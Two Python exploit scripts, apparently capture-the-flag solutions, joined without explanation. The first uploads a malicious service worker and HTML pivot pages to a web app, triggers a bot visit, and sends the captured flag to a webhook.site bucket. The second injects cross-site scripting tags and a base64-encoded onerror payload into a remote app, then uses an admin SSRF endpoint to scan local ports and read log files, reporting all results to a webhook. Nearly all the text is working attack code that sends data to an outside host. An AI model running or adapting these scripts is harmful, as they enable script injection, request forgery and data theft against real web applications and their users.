import requests
import time

# config
HOST = "http://localhost:3000"

# setup request bucket
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
bucket_url = f"https://webhook.site/{bucket_id}"
bucket_visit_url = f"https://webhook.site/#!/view/{bucket_id}"

print(f"[*] Using request bucket: {bucket_visit_url}")

# execute exploit
SW = f"""
self.addEventListener("install", () => {{
    const params = new URL(self.location).searchParams;
    const flag = params.get('flag');
    fetch('{bucket_url}', {{ method: 'POST', body: flag }});
}});
"""

PIVOT = """
<script>
(async () => {
    await navigator.serviceWorker.register("/uploads/sw.js?flag=" + await window.lookAtThisBeautifulFlag(), { scope: "/uploads/" });
})();
</script>
"""

TRIGGER = """
<script>
    const body = document.createElement("body");
    document.children[0].appendChild(body);
    const pivotFrame = document.createElement("iframe");
    pivotFrame.src = "http://localhost:3000/uploads/pivot.html";
    body.appendChild(pivotFrame);
</script>
"""

for (name, content) in [("sw.js", SW), ("pivot.html", PIVOT), ("trigger.html", TRIGGER)]:
    r = requests.post(f"{HOST}/upload/{name}", data=content, headers={"Content-Type": "application/x-www-form-urlencoded"})
    r.raise_for_status()
    print("[+]", r.text)

# visit trigger to start the exploit
r = requests.post(f"{HOST}/visit/trigger.html")
r.raise_for_status()
print("[+]", r.text)

# wait for the flag
while True:
    # retrieve the flag from the request bucket
    r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
    data = r.json()["data"]
    if len(data) == 0:
        time.sleep(1)
        continue

    content = data[0]["content"]
    print(f"[*] FLAG: {content}")
    break

import base64
import httpx
import asyncio

URL = "<http://91.99.1.179:57291>"
# URL = "<http://localhost:8080>"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def home(self):
        return self.c.get("/")

    def post(self, user_id: str, content: str, location: str = "Earth"):
        return self.c.post(f"/post", data={"content": content, "location": location}, cookies={"user": user_id})

    def report(self, user_id: str, post_id: str):
        return self.c.get(f"/share/{post_id}", cookies={"user": user_id})

class API(BaseAPI):
    ...

async def main():

    api = API()
    res = await api.home()
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
    user_id = res.cookies["user"]
    # user_id = "constructor"
    payload = r"""
let webhook = "<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d>";
function report(data) {
    fetch(webhook, {
        method: "POST",
        body: data,
    });
}
function wsPromise(wsURL, onopen) {
    return new Promise((resolve, reject) => {
        window.ws = new WebSocket(wsURL);

        ws.onerror = (e) => {
            report("[ws.onerror] " + JSON.stringify(e));
            reject(e);
        };

        ws.onmessage = (e) => { resolve(e); };
        ws.onopen = () => ws.send(onopen);
    });
}
let payload = `
    let startPort = 30000;
    let endPort = 66000;
    let webhook = "${webhook}";

    function report(data) {
        fetch(webhook, {
            method: "POST",
            body: data
        });
    }

    (async () => {
        for (let port = startPort; port <= endPort; port++) {
            let ssrfUrl = \\`http://127.0.0.1:80/admin/doHttpReq?url=http://localhost:\\${port}/json/new?file:///app/logs/log-USER_ID.htm&method=PUT\\`;
            try {
                let res = await fetch(ssrfUrl);
                let text = await res.text();
                if (!text.includes("Internal Server Error")) {
                    report(text)
                }
            } catch (e) {}
        }
    })();`;
iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-modals"
iframe.srcdoc = "<script>eval(name)</script>"
iframe.name = payload
document.body.appendChild(iframe)

""".replace("USER_ID", user_id)
    payload = base64.b64encode(payload.encode()).decode()
    res = await api.post(user_id, "Hello, world!", "<img src=1 onerror=eval(atob(`" + payload + "`))>")
    print(res.text)
    res = await api.report(user_id, "1")
    print(res.text)


if __name__ == "__main__":
    asyncio.run(main())